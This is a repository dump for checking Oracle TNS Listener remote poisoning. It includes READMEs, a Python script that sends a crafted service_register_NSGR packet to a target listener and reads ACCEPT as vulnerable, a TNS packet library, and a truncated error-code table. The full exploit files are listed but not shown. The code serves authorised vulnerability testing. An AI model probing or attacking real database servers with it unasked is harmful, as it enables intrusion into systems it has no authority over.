├── README.md ├── README.txt ├── check_tns_poison.py ├── libtns.py ├── libtnserrors.py ├── proxy.py └── tnspoisonv1.py /README.md: -------------------------------------------------------------------------------- 1 | # Oracle TNS Listener Remote Poisoning 2 | Based on the work published here: http://seclists.org/fulldisclosure/2012/Apr/204 3 | 4 | ##How to check for this vulnerability 5 | 6 | Execute “check_tns_poison.py” with the following command-line arguments: 7 | 8 | Target Host: IP address or Hostname of target 9 | 10 | Target Port: Port number running Oracle TNS Listener 11 | ``` 12 | Usage: python check_tns_poison.py 13 | Example: python check_tns_poison.py 10.0.0.17 1521 14 | ``` 15 | 16 | 17 | ##Screenshots 18 | 19 | ![img3](https://cloud.githubusercontent.com/assets/5358495/16176989/3a6eb6ae-363d-11e6-8a48-8e159fef6a79.png) 20 | 21 | ![img2](https://cloud.githubusercontent.com/assets/5358495/16176284/33fb8a6e-3628-11e6-9530-af5b72ae4402.png) 22 | -------------------------------------------------------------------------------- /README.txt: -------------------------------------------------------------------------------- 1 | TNS Poison Exploit Readme 2 | ========================= 3 | 4 | In this current version, the exploit just works for 6 chars. long database names so, to test the vulnerability, you need to setup a database with a 6 chars. long name. 5 | 6 | Documents under the "docs" folder 7 | ================================= 8 | 9 | In the docs folder you will found 2 documents: The one explaining the flaw and one more document, extracted from Oracle's Metalink support site that explains how load balance at the server side works. 10 | 11 | Joxean Koret 12 | 13 | -------------------------------------------------------------------------------- /check_tns_poison.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | """ 4 | For checking if Oracle TNS Listener is vulnerable to remote poisoning or not 5 | Note: Modified code from tnspoisonv1.py. 6 | 7 | Oracle 9i, 10g and 11g TNS Listener Poison 0day exploit 8 | Copyright (c) Joxean Koret 2008 9 | """ 10 | 11 | import sys 12 | import time 13 | import struct 14 | import socket 15 | 16 | from libtns import * 17 | 18 | def main(targetHost, targetPort): 19 | 20 | print "[*] [Optional] In another terminal execute the following command (replace eth0 with your network interface):" 21 | #print "\ttshark -i eth0 -f 'host " + targetHost + " and tcp port " + str(targetPort) + "'" 22 | print "\ttshark -i eth0 -f 'host %s and tcp port %s'" % (targetHost, targetPort) 23 | raw_input("\nPress [Enter] to continue") 24 | 25 | pkt = TNSPacket() 26 | mbuf = pkt.getPacket("(CONNECT_DATA=(COMMAND=service_register_NSGR))") 27 | 28 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 29 | s.connect((targetHost, int(targetPort))) 30 | print "\n[*] Sending initial buffer ...\n" 31 | print mbuf + "\n" 32 | s.send(mbuf) 33 | print "\n[*] Recevied following data:\n" 34 | res = s.recv(8192) 35 | print res + "\n" 36 | hex_res = ':'.join(x.encode('hex') for x in res) 37 | #print hex_res 38 | tns_state_res = hex_res.split(":")[4] 39 | #print tns_state_res 40 | print "[+] Perform the following checks (for port 1521 only):" 41 | print "\t[+] Check in tshark/wireshark for TNS packets." 42 | print "\t\t[-] Target is vulnerable if TNS packet has ACCEPT." 43 | print "\t\t[-] Target is not vulnerable if TNS packet has REFUSE." 44 | if tns_state_res == "02": 45 | print "\n[+] Found 'Accept' in the received response." 46 | print "\t[-] Target is vulnerable." 47 | elif tns_state_res == "04": 48 | print "\n[+] Found 'Refuse' in the received response." 49 | print "\t[-] Target is not vulnerable." 50 | else: 51 | print "\n[!] Unknown TNS packet type." 52 | s.close() 53 | 54 | def showTnsError(res): 55 | pos = res.find("DESCRIPTION") 56 | print "TNS Listener returns an error:" 57 | print 58 | print "Raw response:" 59 | print repr(res) 60 | print 61 | print "Formated response:" 62 | formatter = TNSDataFormatter(res[pos-1:]) 63 | print formatter.format() 64 | 65 | tns = TNS() 66 | errCode = tns.extractErrorcode(res) 67 | 68 | if errCode: 69 | print "TNS-%s: %s" % (errCode, tns.getTnsError(errCode)) 70 | 71 | def usage(): 72 | print "Usage:", sys.argv[0], " " 73 | print 74 | 75 | if __name__ == "__main__": 76 | if len(sys.argv) < 3: 77 | usage() 78 | sys.exit(1) 79 | else: 80 | main(sys.argv[1], sys.argv[2]) 81 | 82 | -------------------------------------------------------------------------------- /libtns.py: -------------------------------------------------------------------------------- 1 | """ 2 | Inguma Penetration Testing Toolkit 3 | Copyright (c) 2006, 2008 Joxean Koret, joxeankoret [at] yahoo.es 4 | 5 | This program is free software; you can redistribute it and/or 6 | modify it under the terms of the GNU General Public License 7 | as published by the Free Software Foundation; version 2 8 | of the License. 9 | 10 | This program is distributed in the hope that it will be useful, 11 | but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | GNU General Public License for more details. 14 | 15 | You should have received a copy of the GNU General Public License 16 | along with this program; if not, write to the Free Software 17 | Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 18 | """ 19 | import sys 20 | import struct 21 | import socket 22 | 23 | from libtnserrors import TNS_ERROR_CODES, getTnsErrorMessage 24 | 25 | versionPacket = "\x00\x5a\x00\x00\x01\x00\x00\x00" 26 | versionPacket += "\x01\x36\x01\x2c\x00\x00\x08\x00" 27 | versionPacket += "\x7f\xff\x7f\x08\x00\x00\x00\x01" 28 | versionPacket += "\x00\x20\x00\x3a\x00\x00\x00\x00" 29 | versionPacket += "\x00\x00\x00\x00\x00\x00\x00\x00" 30 | versionPacket += "\x00\x00\x00\x00\x34\xe6\x00\x00" 31 | versionPacket += "\x00\x01\x00\x00\x00\x00\x00\x00" 32 | versionPacket += "\x00\x00" 33 | versionPacket += "(CONNECT_DATA=(COMMAND=version))" 34 | 35 | TNS_TYPE_CONNECT = 1 36 | TNS_TYPE_ACCEPT = 2 37 | TNS_TYPE_ACK = 3 38 | TNS_TYPE_REFUSE = 4 39 | TNS_TYPE_REDIRECT = 5 40 | TNS_TYPE_DATA = 6 41 | TNS_TYPE_NULL = 7 42 | TNS_TYPE_ABORT = 9 43 | TNS_TYPE_RESEND = 11 44 | TNS_TYPE_MARKER = 12 45 | TNS_TYPE_ATTENTION = 13 46 | TNS_TYPE_CONTROL = 14 47 | TNS_TYPE_MAX = 19 48 | 49 | class TNSBasePacket: 50 | packetLength = "\x08" 51 | packetChecksum = "\x00\x00" 52 | packetType = "\x00" #"\x05" # Redirect 53 | reservedByte = "\x00" 54 | headerChecksum = "\x00\x00" 55 | data = "" 56 | commandData = "" 57 | dataFlag = "\x00\x00" 58 | useDataFlag = False 59 | 60 | def getPacket(self): 61 | data = len(self.data) + 10 62 | self.packetLength = struct.pack(">h", int(data)) 63 | 64 | buf = self.packetChecksum 65 | buf += self.packetType 66 | buf += self.reservedByte 67 | buf += self.headerChecksum 68 | 69 | if self.dataFlag: 70 | buf += self.dataFlag 71 | 72 | buf += self.data 73 | self.packetLength = len(buf) 74 | buf = struct.pack(">h", self.packetLength) + buf 75 | 76 | return buf 77 | 78 | def readPacket(self, buf): 79 | if len(buf) < 8: 80 | return False 81 | 82 | self.packetLength = buf[0:2] 83 | self.packetChecksum = buf[2:4] 84 | self.packetType = buf[4:5] 85 | self.reservedByte = buf[5:6] 86 | self.headerChecksum = buf[6:8] 87 | self.data = buf[8:] 88 | 89 | return True 90 | 91 | def getPacketType(self): 92 | return ord(self.packetType) 93 | 94 | def getPacketTypeString(self): 95 | mType = ord(self.packetType) 96 | 97 | if mType == TNS_TYPE_CONNECT: 98 | return "Connect" 99 | elif mType == TNS_TYPE_ACCEPT: 100 | return "Accept" 101 | elif mType == TNS_TYPE_ACK: 102 | return "Ack" 103 | elif mType == TNS_TYPE_REFUSE: 104 | return "Refuse" 105 | elif mType == TNS_TYPE_REDIRECT: 106 | return "Redirect" 107 | elif mType == TNS_TYPE_DATA: 108 | return "Data" 109 | elif mType == TNS_TYPE_NULL: 110 | return "Null" 111 | elif mType == TNS_TYPE_ABORT: 112 | return "Abort" 113 | elif mType == TNS_TYPE_RESEND: 114 | return "Resend" 115 | elif mType == TNS_TYPE_MARKER: 116 | return "Marker" 117 | elif mType == TNS_TYPE_ATTENTION: 118 | return "Attention" 119 | elif mType == TNS_TYPE_CONTROL: 120 | return "Control" 121 | elif mType == TNS_TYPE_MAX: 122 | return "Max" 123 | else: 124 | return "Unknown" 125 | 126 | class TNSRedirectPacket(TNSBasePacket): 127 | 128 | redirectDataLength = "\x00\x34" 129 | redirectData = "(DESCRIPTION=(ADDRESS=())" 130 | 131 | def getPacket(self): 132 | data = len(self.redirectData) + 10 133 | buf = struct.pack(">h", int(data)) 134 | buf += self.packetChecksum 135 | buf += self.packetType 136 | buf += self.reservedByte 137 | buf += self.headerChecksum 138 | buf += self.redirectDataLength 139 | buf += self.redirectData 140 | return buf 141 | 142 | class TNSPacket: 143 | 144 | version = 10 145 | 146 | # :1 is the size + 58 of the packet 147 | basePacket = "\x00:1\x00\x00\x01\x00\x00\x00" 148 | basePacket += "\x01\x36\x01\x2c\x00\x00\x08\x00" 149 | basePacket += "\x7f\xff\x7f\x08\x00\x00\x00\x01" 150 | # :2 is the real size of the packet 151 | basePacket += "\x00:2\x00\x3a\x00\x00\x00\x00" 152 | basePacket += "\x00\x00\x00\x00\x00\x00\x00\x00" 153 | basePacket += "\x00\x00\x00\x00\x34\xe6\x00\x00" 154 | basePacket += "\x00\x01\x00\x00\x00\x00\x00\x00" 155 | basePacket += "\x00\x00" 156 | 157 | # :1 is the size + 58 of the packet 158 | base10gPacket = "\x00:1\x00\x00\x01\x00\x00\x00" 159 | base10gPacket += "\x01\x39\x01\x2c\x00\x81\x08\x00" 160 | base10gPacket += "\x7f\xff\x7f\x08\x00\x00\x01\x00" 161 | # :2 is the real size of the packet 162 | base10gPacket += "\x00:2\x00\x3a\x00\x00\x07\xf8" 163 | base10gPacket += "\x0c\x0c\x00\x00\x00\x00\x00\x00" 164 | base10gPacket += "\x00\x00\x00\x00\x00\x00\x00\x00" 165 | base10gPacket += "\x00\x00\x00\x00\x00\x00\x00\x00" 166 | base10gPacket += "\x00\x00" 167 | 168 | def getPacket(self, cmd): 169 | hLen1 = len(cmd) + 58 170 | hLen2 = len(cmd) 171 | 172 | x1 = str(hex(hLen1)).replace("0x", "") 173 | x2 = str(hex(hLen2)).replace("0x", "") 174 | 175 | if len(x1) == 1: 176 | x1 = "0" + x1 177 | 178 | if len(x2) == 1: 179 | x2 = "0" + x2 180 | 181 | hLen1 = eval("'\\x" + x1 + "'") 182 | hLen2 = eval("'\\x" + x2 + "'") 183 | 184 | if self.version >= 10: 185 | data = self.base10gPacket 186 | else: 187 | data = self.basePacket 188 | 189 | data = data.replace(":1", hLen1) 190 | data = data.replace(":2", hLen2) 191 | data += cmd 192 | 193 | return data 194 | 195 | class TNS: 196 | 197 | TNS_TYPE_ACCEPT = 0 198 | TNS_TYPE_ERROR = 1 199 | 200 | TNS_V7 = 7 201 | TNS_V8 = 8 202 | TNS_V9 = 9 203 | TNS_V10 = 10 204 | TNS_V11 = 11 205 | 206 | tns_data = None 207 | banner = None 208 | 209 | def sendCommand(self, command): 210 | pass 211 | 212 | def sendData(self, data): 213 | pass 214 | 215 | def sendConnectRequest(self, mSocket, mBuf): 216 | mSocket.send(mBuf) 217 | 218 | def recvTNSPkt(self, mSocket): 219 | packet = "" 220 | packet = mSocket.recv(1024) 221 | 222 | self.tns_data = packet 223 | 224 | if packet.find("(ERR=0)") > 0: 225 | self.packet_type = TNS.TNS_TYPE_ACCEPT 226 | else: 227 | self.packet_type = TNS.TNS_TYPE_ERROR 228 | 229 | def recvAcceptData(self, mSocket, mData): 230 | packet = "" 231 | packet = mSocket.recv(1024) 232 | 233 | self.banner = packet 234 | 235 | return(self.tns_data + self.banner) 236 | 237 | def assignVersion(self, data): 238 | 239 | if not str(data).isalnum(): 240 | return 241 | 242 | v = hex(int(data)) 243 | v = v[0:3] 244 | v = eval(v) 245 | 246 | return(v) 247 | 248 | def getTnsError(self, code): 249 | return getTnsErrorMessage(code) 250 | 251 | def getPropertyValue(self, data, property): 252 | pos = data.find(property + "=") 253 | 254 | if pos == -1: 255 | return None 256 | 257 | endPos = data.find(")", pos) 258 | data = data[pos+len(property)+1:endPos] 259 | 260 | return data 261 | 262 | def extractErrorcode(self, data): 263 | errCode = self.getPropertyValue(data, "CODE") 264 | 265 | if errCode: 266 | if len(errCode) < 5: 267 | errCode = "0"*(5-len(errCode)) + errCode 268 | 269 | return errCode 270 | 271 | def getVSNNUM(self, verInfo): 272 | return self.getPropertyValue(verInfo, "VSNNUM") 273 | 274 | class TNSCONNECT: 275 | 276 | def getVersionCommand(self): 277 | global versionPacket 278 | 279 | return versionPacket 280 | 281 | class TNSParser: 282 | 283 | data = "" 284 | 285 | def __init__(self, data): 286 | if data: 287 | self.data = data 288 | 289 | def getValueFor(self, thekey, single = False): 290 | buf = [] 291 | level = 0 292 | value = False 293 | flag = False 294 | word = "" 295 | 296 | for char in self.data: 297 | if char == "(": 298 | level += 1 299 | key = "" 300 | if value: 301 | flag = True 302 | 303 | word = "" 304 | elif char == ")": 305 | 306 | if key.lower() == thekey.lower(): 307 | if not single: 308 | buf.append(word) 309 | else: 310 | single = word 311 | break 312 | 313 | level -= 1 314 | value = False 315 | word = "" 316 | elif char == "=": 317 | value = True 318 | key = word 319 | word = "" 320 | else: 321 | word += char 322 | 323 | return buf 324 | 325 | class TNSDataFormatter: 326 | 327 | data = "" 328 | 329 | def __init__(self, data): 330 | if data: 331 | self.data = data 332 | 333 | def format(self): 334 | buf = "\r\n" 335 | level = 0 336 | value = False 337 | flag = False 338 | word = "" 339 | 340 | for char in self.data: 341 | if char == "(": 342 | level += 1 343 | if value: 344 | flag = True 345 | buf += "\r\n" 346 | 347 | buf += " " + " "*level 348 | word = "" 349 | elif char == ")": 350 | level -= 1 351 | value = False 352 | buf += "\r\n" 353 | word = "" 354 | elif char == "=": 355 | value = True 356 | buf += ": " 357 | word = "" 358 | else: 359 | buf += char 360 | word += char 361 | 362 | return buf 363 | -------------------------------------------------------------------------------- /libtnserrors.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | """ 4 | Inguma Penetration Testing Toolkit 5 | Copyright (c) 2006, 2008 Joxean Koret, joxeankoret [at] yahoo.es 6 | 7 | This program is free software; you can redistribute it and/or 8 | modify it under the terms of the GNU General Public License 9 | as published by the Free Software Foundation; version 2 10 | of the License. 11 | 12 | This program is distributed in the hope that it will be useful, 13 | but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | GNU General Public License for more details. 16 | 17 | You should have received a copy of the GNU General Public License 18 | along with this program; if not, write to the Free Software 19 | Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 20 | """ 21 | 22 | TNS_ERROR_CODES = { 23 | "TNS-00000":'Not An Error', 24 | "TNS-00001":'INTCTL: error while getting command line from the terminal', 25 | "TNS-00002":'INTCTL: error while starting the Interchange', 26 | "TNS-00003":'INTCTL: error while sending request to the Interchange', 27 | "TNS-00004":'INTCTL: error while starting the Navigator', 28 | "TNS-00005":'INTCTL: error while sending request to the Navigator', 29 | "TNS-00006":'INTCTL: HOST variable is not defined', 30 | "TNS-00007":'INTCTL: unknown host', 31 | "TNS-00008":'INTCTL: could not contact destination Navigator', 32 | "TNS-00009":'INTCTL: could not contact destination Connection Manager', 33 | "TNS-00010":'Error while flushing NS context', 34 | "TNS-00011":'INTCTL: error while starting the Connection Manager', 35 | "TNS-00012":'INTCTL: error while processing Connection Manager request', 36 | "TNS-00013":'INTCTL: error while performing NS disconnect command', 37 | "TNS-00014":'INTCTL: error while opening terminal input channel', 38 | "TNS-00015":'INTCTL: error while closing terminal input channel', 39 | "TNS-00016":'INTCTL: error while performing NS send command', 40 | "TNS-00017":'INTCTL: error while performing NS receive command', 41 | "TNS-00018":'INTCTL: TNS_ADMIN not defined', 42 | "TNS-00019":'INTCTL: error initializing the national language interface', 43 | "TNS-00020":'INTCTL: missing NAVIGATOR_DATA in TNSNAV.ORA', 44 | "TNS-00021":'INTCTL: missing INTERCHANGE_DATA in INTCHG.ORA', 45 | "TNS-00022":'INTCTL: missing CMANAGER_NAME in INTCHG.ORA', 46 | "TNS-00023":'INTCTL: missing ADDRESS(es) in config files', 47 | "TNS-00024":'INTCTL: Unable to contact Navigator to obtain Connection Manager address', 48 | "TNS-00025":'INTCTL: The ORACLE environment is not set up correctly', 49 | "TNS-00026":'INTCTL: TNS_ADMIN directory set, and is being used', 50 | "TNS-00027":'INTCTL: Could not resolve Navigator"s name/address', 51 | "TNS-00028":'INTCTL: Could not resolve Connection Manager"s name/address', 52 | "TNS-00031":'INTCTL: internal NT error', 53 | "TNS-00032":'INTCTL: internal NS error', 54 | "TNS-00033":'INTCTL: internal NL error', 55 | "TNS-00034":'INTCTL: internal NR error', 56 | "TNS-00035":'INTCTL: error while constructing full file name', 57 | "TNS-00036":'INTCTL: error reading from Navigator or Connection Manager error files', 58 | "TNS-00037":'INTCTL: error opening Navigator or Connection Manager error files', 59 | "TNS-00038":'INTCTL: Poorly formed address or command string', 60 | "TNS-00039":'INTCTL: error while spawning a process', 61 | "TNS-00040":'INTCTL: failed to initialize trace context- Continuing anyway', 62 | "TNS-00041":'INTCTL: Navigator already running. Start operation cancelled', 63 | "TNS-00042":'INTCTL: CMANAGER already running. Start operation cancelled', 64 | "TNS-00043":'The CMANAGER has active connections, do you still want to stop it (y/n)?', 65 | "TNS-00044":'INTCTL: You must have an INTCHG.ORA file to contact the Connection Manager', 66 | "TNS-00045":'INTCTL: Could not contact the Navigator on address', 67 | "TNS-00046":'INTCTL: Could not contact the CMANAGER on address', 68 | "TNS-00060":'INTCTL: Bad command: only the STATUS command can be used on remote Interchanges', 69 | "TNS-00061":'INTCTL: Bad command or syntax error: You must specify a trace level', 70 | "TNS-00062":'INTCTL: Bad command or syntax error: For help type help/h/?', 71 | "TNS-00063":'INTCTL: Failed to allocate memory for buffers', 72 | "TNS-00064":'INTCTL: Failed to find CMANAGER_NAME in INTCHG.ORA', 73 | "TNS-00065":'INTCTL: Command cannot be executed remotely', 74 | "TNS-00070":'INTCTL usage: [intctl] [argument]', 75 | "TNS-00071":'where is one of following:', 76 | "TNS-00072":'* start - start up process_name', 77 | "TNS-00073":'* stop/abort - stop the process_name', 78 | "TNS-00074":'* status - get statistics from the process_name', 79 | "TNS-00075":'NOTE: the user may get the status info of a remote', 80 | "TNS-00076":'component by specifying the component name in', 81 | "TNS-00077":'the argument field', 82 | "TNS-00078":'* log_on - ask process_name to turn logging on', 83 | "TNS-00079":'* log_off - ask process_name to turn logging off', 84 | "TNS-00080":'* force_log - ask process_name to dump its state', 85 | "TNS-00081":'* trace_on - ask process name to turn tracing on', 86 | "TNS-00082":'NOTE: the user MUST specify a trace level', 87 | "TNS-00083":'(USER or ADMIN) in the argument field', 88 | "TNS-00084":'* trace_off - ask process name to turn tracing off', 89 | "TNS-00085":'* reread - ask the process name to reread parameter files', 90 | "TNS-00086":'* reload - ask the Navigator to reload TNSNET.ORA', 91 | "TNS-00087":'* version - ask the process name to display its version number', 92 | "TNS-00088":'* exit - quit the Interchange controller', 93 | "TNS-00089":'process_name is one of Interchange, CMANAGER, or Navigator', 94 | "TNS-00090":'* Interchange - will ask the Interchange', 95 | "TNS-00091":'* Navigator (or navgatr) - will ask the Navigator only', 96 | "TNS-00092":'* CMANAGER (or intlsnr) - will ask the Cmanager only', 97 | "TNS-00093":'argument is only supplied to either status or trace_on', 98 | "TNS-00094":'* to status - argument is considered the remote process_name', 99 | "TNS-00095":'* to trace_on - argument is considered the trace level', 100 | "TNS-00100":'Unable to allocate memory', 101 | "TNS-00101":'File operation error', 102 | "TNS-00102":'Keyword-Value binding operation error', 103 | "TNS-00103":'Parameter file load error', 104 | "TNS-00104":'Data stream open/access error', 105 | "TNS-00105":'Could not initialize tracing', 106 | "TNS-00106":'Failed to open log file', 107 | "TNS-00107":'Unable to initialize TNS global data', 108 | "TNS-00108":'TNS_ADMIN not defined', 109 | "TNS-00109":'Message could not be printed; not enough memory', 110 | "TNS-00110":'Could not initialize network from file TNSNET.ORA', 111 | "TNS-00111":'Failed to get configuration data from file', 112 | "TNS-00112":'Failed to find configuration file name', 113 | "TNS-00113":'Failed to open error log file', 114 | "TNS-00114":'Internal error- Allocation of addresses not performed', 115 | "TNS-00115":'Could not allocate pump global buffers', 116 | "TNS-00116":'Pump failed during initial bequeath', 117 | "TNS-00117":'Internal error- No data passed through pump', 118 | "TNS-00119":'Missing PUMP_CONNECTIONS in INTCHG.ORA', 119 | "TNS-00120":'Missing PUMPS in INTCHG.ORA', 120 | "TNS-00121":'Missing CMANAGER_NAME in INTCHG.ORA', 121 | "TNS-00122":'Missing ADDRESS(es) in TNSNET.ORA file', 122 | "TNS-00123":'Unable to perform a listen on configured ADDRESS(es)', 123 | "TNS-00124":'Internal error - Unable to create empty address', 124 | "TNS-00125":'Failed to get number of Interchanges in TNSNET.ORA', 125 | "TNS-00126":'Missing Connection Manager name and address in TNSNET.ORA', 126 | "TNS-00127":'Missing Connection Manager name in TNSNET.ORA', 127 | "TNS-00128":'Missing COMMUNITY in TNSNET.ORA', 128 | "TNS-00129":'Internal error - Failed to create new community', 129 | "TNS-00130":'Failed to create Interchange"s internal address', 130 | "TNS-00131":'Missing COMMUNITY in COMMUNITY_COST_LIST in TNSNET.ORA', 131 | "TNS-00132":'COST value must be an integer greater than 0', 132 | "TNS-00133":'Missing LOCAL_COMMUNITIES field in TNSNAV.ORA', 133 | "TNS-00134":'Missing COMMUNITY component in addresses for the Navigator in TNSNAV.ORA', 134 | "TNS-00135":'Missing TNS error message file', 135 | "TNS-00136":'Did not register product/facility for TNS error message', 136 | "TNS-00137":'Failed to get TNS error message file entry', 137 | "TNS-00138":'Failed to find ORACLE executable directory', 138 | "TNS-00139":'Internal - Data passed from the Interchange listener is poorly formed', 139 | "TNS-00140":'Interchange specified was not found in network tables', 140 | "TNS-00141":'Failed to get file stream information', 141 | "TNS-00142":'Community mismatch in TNSNAV.ORA', 142 | "TNS-00143":'Illegal PREFERRED_CMANAGERS entry in TNSNAV.ORA', 143 | "TNS-00144":'PUMP_CONNECTIONS value in INTCHG.ORA is too large.', 144 | "TNS-00145":'PUMPS value in INTCHG.ORA is too large.', 145 | "TNS-00146":'Internal-- Retry data request withing pump.', 146 | "TNS-00147":'Failed to start a pre-spawned pump.', 147 | "TNS-00200":'Unable to do nsanswer on context result=string', 148 | "TNS-00201":'Unable to read answer connection data :string:', 149 | "TNS-00202":'Failure in redirecting call : Original to string Redirect to string', 150 | "TNS-00203":'Unable to start tracing in intlsnr', 151 | "TNS-00204":'Started tracing in intlsnr', 152 | "TNS-00205":'Turning off tracing in intlsnr', 153 | "TNS-00206":'Status Information for Interchange string:', 154 | "TNS-00207":'Uptime : number days number hr. number min. number sec', 155 | "TNS-00208":'Logging : string', 156 | "TNS-00209":'Tracing : string', 157 | "TNS-00210":'Total Pumps Available : number', 158 | "TNS-00211":'Total Active Pumps : number', 159 | "TNS-00212":'Total Pumps Started : number', 160 | "TNS-00213":'Available Connections : number', 161 | "TNS-00214":'Total Connections in Use : number', 162 | "TNS-00215":'Total Successful Connections : number', 163 | "TNS-00216":'Total Failed Connections : number', 164 | "TNS-00217":'Total Bytes of Data : number', 165 | "TNS-00218":'Current Bytes/Sec. : number', 166 | "TNS-00219":'Pump Strategy : string', 167 | "TNS-00220":'Pump Breakdown --------------', 168 | "TNS-00221":'Pump Connections Total Data Bytes/Second', 169 | "TNS-00222":'-------------------------------------------------------------------', 170 | "TNS-00223":'numbernumbernumbernumber', 171 | "TNS-00224":'No more connections available', 172 | "TNS-00225":'Unable to bequeath connection to pump', 173 | "TNS-00226":'Unable to contact pump number to send broadcast message string', 174 | "TNS-00227":'Unable to contact pump; Connection Manager declared pump dead', 175 | "TNS-00228":'Failure in finding pump data', 176 | "TNS-00229":'Error in call: unable to deliver message :string: string string string', 177 | "TNS-00230":'Cannot start new pump process: string string Protocol Adapter errors:number', 178 | "TNS-00231":'Pump is alive', 179 | "TNS-00232":'Unable to setup connection', 180 | "TNS-00233":'Interchange failed to make contact with destination with errors: string string string', 181 | "TNS-00234":'Connect data for failed call: CALL DATA = string RECEIVE DATA = :string:', 182 | "TNS-00235":'Aborting connection: Protocol Apapter errors: string;number,number string;number,number', 183 | "TNS-00236":'Failed to initialize tracing', 184 | "TNS-00237":'Failed to refuse connection', 185 | "TNS-00238":'Pump number @: string:', 186 | "TNS-00239":'Connection Manager has been stopped', 187 | "TNS-00240":'Connection Manager: Logging is now ON', 188 | "TNS-00241":'Connection Manager: Logging is now OFF', 189 | "TNS-00242":'Connection Manager: Tracing is now ON', 190 | "TNS-00243":'Connection Manager: Tracing is now OFF', 191 | "TNS-00244":'Connection Manager: Request Failed', 192 | "TNS-00245":'Connection Manager: Failed to open log file', 193 | "TNS-00246":'Connection Manager: Failed to start tracing', 194 | "TNS-00247":'Unable to allocate memory for configuration data from TNSNET.ORA file', 195 | "TNS-00248":'Unable to get information from file :string: Exiting with NR error:number', 196 | "TNS-00249":'Unable to read network configuration data from file string with error: string', 197 | "TNS-00250":'Navigator has been started', 198 | "TNS-00251":'Failure in nstest:', 199 | "TNS-00252":'Unable to handle route request: string', 200 | "TNS-00253":'Error in reading network configuration data from file string with error string', 201 | "TNS-00254":'Navigator has been stopped', 202 | "TNS-00255":'Closing down log, stopping Navigator', 203 | "TNS-00256":'Status of Navigator:', 204 | "TNS-00257":'Number of Successful Requests : number', 205 | "TNS-00258":'Number of Failed Requests : number', 206 | "TNS-00259":'Disabled Interchange list:', 207 | "TNS-00260":'-------------------------------------------------------------------', 208 | "TNS-00261":'Interchange Name Community Link Down Time Remaining (secs)', 209 | "TNS-00262":'%20sstringnumber', 210 | "TNS-00263":'Navigator: Request Failed', 211 | "TNS-00264":'Navigator: Failed to reload configuration data', 212 | "TNS-00265":'Navigator: Reloaded network configuration data', 213 | "TNS-00266":'Navigator: Unknown Request', 214 | "TNS-00267":'Navigator: Internal Error', 215 | "TNS-00268":'ON', 216 | "TNS-00269":'OFF', 217 | "TNS-00270":'%s: Terminal Error string', 218 | "TNS-00271":'Connection Manager', 219 | "TNS-00272":'Navigator', 220 | "TNS-00273":'Navigator: Logging is now ON', 221 | "TNS-00274":'Navigator: Logging is now OFF', 222 | "TNS-00275":'Navigator: Tracing is now ON', 223 | "TNS-00276":'Navigator: Tracing is now OFF', 224 | "TNS-00277":'Navigator: Request Failed', 225 | "TNS-00278":'Navigator: Failed to Open Log file', 226 | "TNS-00279":'Navigator: Failed to Start Tracing', 227 | "TNS-00280":'Max Avg Bytes/Sec : number', 228 | "TNS-00281":'Connection Manager: Forced Log output', 229 | "TNS-00282":'Connection Manager: Failed to force log, logging is off', 230 | "TNS-00283":'Listening on the following TNS addresses:', 231 | "TNS-00284":'Imm Max Avg Bytes/Sec : number', 232 | "TNS-00285":'Avg Connect Time (secs) : number', 233 | "TNS-00286":'Max Connect Time (secs) : number', 234 | "TNS-00287":'Min Connect Time (secs) : number', 235 | "TNS-00288":'Navigator: Failed to Disable Interchange', 236 | "TNS-00289":'Navigator: Disabled Interchange', 237 | "TNS-00290":'Navigator: Failed to Enable Interchange', 238 | "TNS-00291":'Navigator: Enabled Interchange', 239 | "TNS-00292":'Log File Name : string', 240 | "TNS-00293":'Trace File Name : string', 241 | "TNS-00294":'Connection Manager: Security is enabled, you cannot STOP the Interchange', 242 | "TNS-00295":'Navigator: Security is enabled, you cannot STOP the Navigator', 243 | "TNS-00296":'Stoppable : string', 244 | "TNS-00297":'Logging Level : string', 245 | "TNS-00298":'Request to Navigator: string', 246 | "TNS-00299":'Response from Navigator: string', 247 | "TNS-00300":'***Disabling Interchange : string', 248 | "TNS-00301":'***Enabling Interchange : string', 249 | "TNS-00302":'Connection Manager: Unknown Request', 250 | "TNS-00303":'Connection Manager: Reread parameter data', 251 | "TNS-00304":'Status Information for Connection Manager:', 252 | "TNS-00305":'The Navigator encountered an invalid/unknown trace level', 253 | "TNS-00306":'Connection Manager encountered an invalid/unknown trace level', 254 | "TNS-00307":'Navigator: Reread parameter data', 255 | "TNS-00308":'Navigator: Failed to open log while rereading parameter data', 256 | "TNS-00309":'Connection Manager: Failed to open log while re-reading parameter data', 257 | "TNS-00310":'Navigator: Failed to start tracing after rereading parameter data', 258 | "TNS-00311":'Connection Manager: Failed to start tracing after rereading parameter data', 259 | "TNS-00312":'Connection Manager: Failed to get version information', 260 | "TNS-00313":'Navigator: Failed to get version information', 261 | "TNS-00314":'Protocol Adapter Errors: number,number', 262 | "TNS-00315":'Failed to allocate larger connect data area for getting pump data: number', 263 | "TNS-00316":'Ran out of data buffers in the pump', 264 | "TNS-00317":'Failed to contact Connection Manager', 265 | "TNS-00501":'Cannot allocate memory', 266 | "TNS-00502":'Invalid argument', 267 | "TNS-00503":'Illegal ADDRESS parameters', 268 | "TNS-00504":'Operation not supported', 269 | "TNS-00505":'Operation timed out', 270 | "TNS-00506":'Operation would block', 271 | "TNS-00507":'Connection closed', 272 | "TNS-00508":'No such protocol adapter', 273 | "TNS-00509":'Buffer overflow', 274 | "TNS-00510":'Internal limit restriction exceeded', 275 | "TNS-00511":'No listener', 276 | "TNS-00512":'Address already in use', 277 | "TNS-00513":'Destination host unreachable', 278 | "TNS-00514":'Contexts have different wait/test functions', 279 | "TNS-00515":'Connect failed because target host or object does not exist', 280 | "TNS-00516":'Permission denied', 281 | "TNS-00517":'Lost contact', 282 | "TNS-00518":'Incomplete read or write', 283 | "TNS-00519":'Operating system resource quota exceeded', 284 | "TNS-00520":'Syntax error', 285 | "TNS-00521":'Missing keyword', 286 | "TNS-00522":'Operation was interrupted', 287 | "TNS-00523":'Previous operation was busy', 288 | "TNS-00524":'Current operation is still in progress', 289 | 